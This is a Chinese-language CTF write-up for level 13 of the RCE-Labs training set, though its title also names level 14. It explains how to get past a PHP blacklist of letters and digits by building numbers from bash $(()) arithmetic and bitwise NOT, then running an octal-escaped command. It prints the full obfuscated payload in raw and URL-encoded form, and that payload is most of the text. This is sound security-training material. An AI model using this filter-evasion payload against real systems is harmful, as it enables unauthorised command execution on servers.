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[Hello-CTF]RCE-Labs超详细WP-Level13Level14(PHP下的0/1构造RCE命令简单的字数限制RCE)

news 来源：原创 2025/5/14 21:40:13

Level 13

源码分析

这题又回到了 PHP

重点关注

preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)

禁用了所有数字, 并且回到了 PHP, 没办法用上一关的方法进行绕过
但是比起上一关, 给我们少绕过了 &, ~, _
似乎有其他方法

解题分析

利用 $(()) 和 ~(取反操作) 进行构造数字

这里就举一个例子, 如何构造数字 1, 我只能感叹太巧了(用电脑看吧, 手机看格式加载太奇怪了, 真不行去看原文链接)

这里假设有符号整数只是1比特$(())     
					      $(())       -> 0                              (二进制为 0000) (只写出一个)
                       ~$(())     ~$(())	           -> ~0   (二进制为 ~0000) (只写出一个)
                       ~$(())     ~$(())               -> ~0   (二进制为 ~0000) (只写出一个)
                  $((~$(())))$((~$(())))         -> -1   (二进制为 1111) (只写出一个)
             $(($((~$(())))$((~$(())))))      -> -2   (二进制为 1110)
     ~$(($((~$(())))$((~$(())))))            -> ~-2  (二进制为 ~1110)
$((~$(($((~$(())))$((~$(())))))))        -> 1    (二进制为 0001)

剩下的就自己推吧

oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造
	'$(())',  # 0
	'$((~$(($((~$(())))$((~$(())))))))',  # 1
	'$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2
	'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3
	'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4
	'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5
	'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6
	'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]

${!#} 来表示 bash 在本关的 PHP 环境并不适用, 只能通过定义变量的方式进行
- 先定义一个变量 __, 并赋值为 0, 即 __=0
  - 这里注意终端的命名规则
  - 变量命名规范是以下划线或者英文字母开头，可以包含下划线和英文字母数字
  - 所以不能使用一个 _ 作为变量名
然后通过 ${!__} 的方式来代替 $0, 即终端名
而定义变量与获取flag的命令之间采用 && 连接

最后 payload 如下

__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

解题步骤

这一题又是 GET 传递参数, 又需要进行URL编码, 因为这里新加入了 =, &符号, 为了方便, 直接全部拿去 URL编码了, 最后 Payload 如下

?cmd=%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27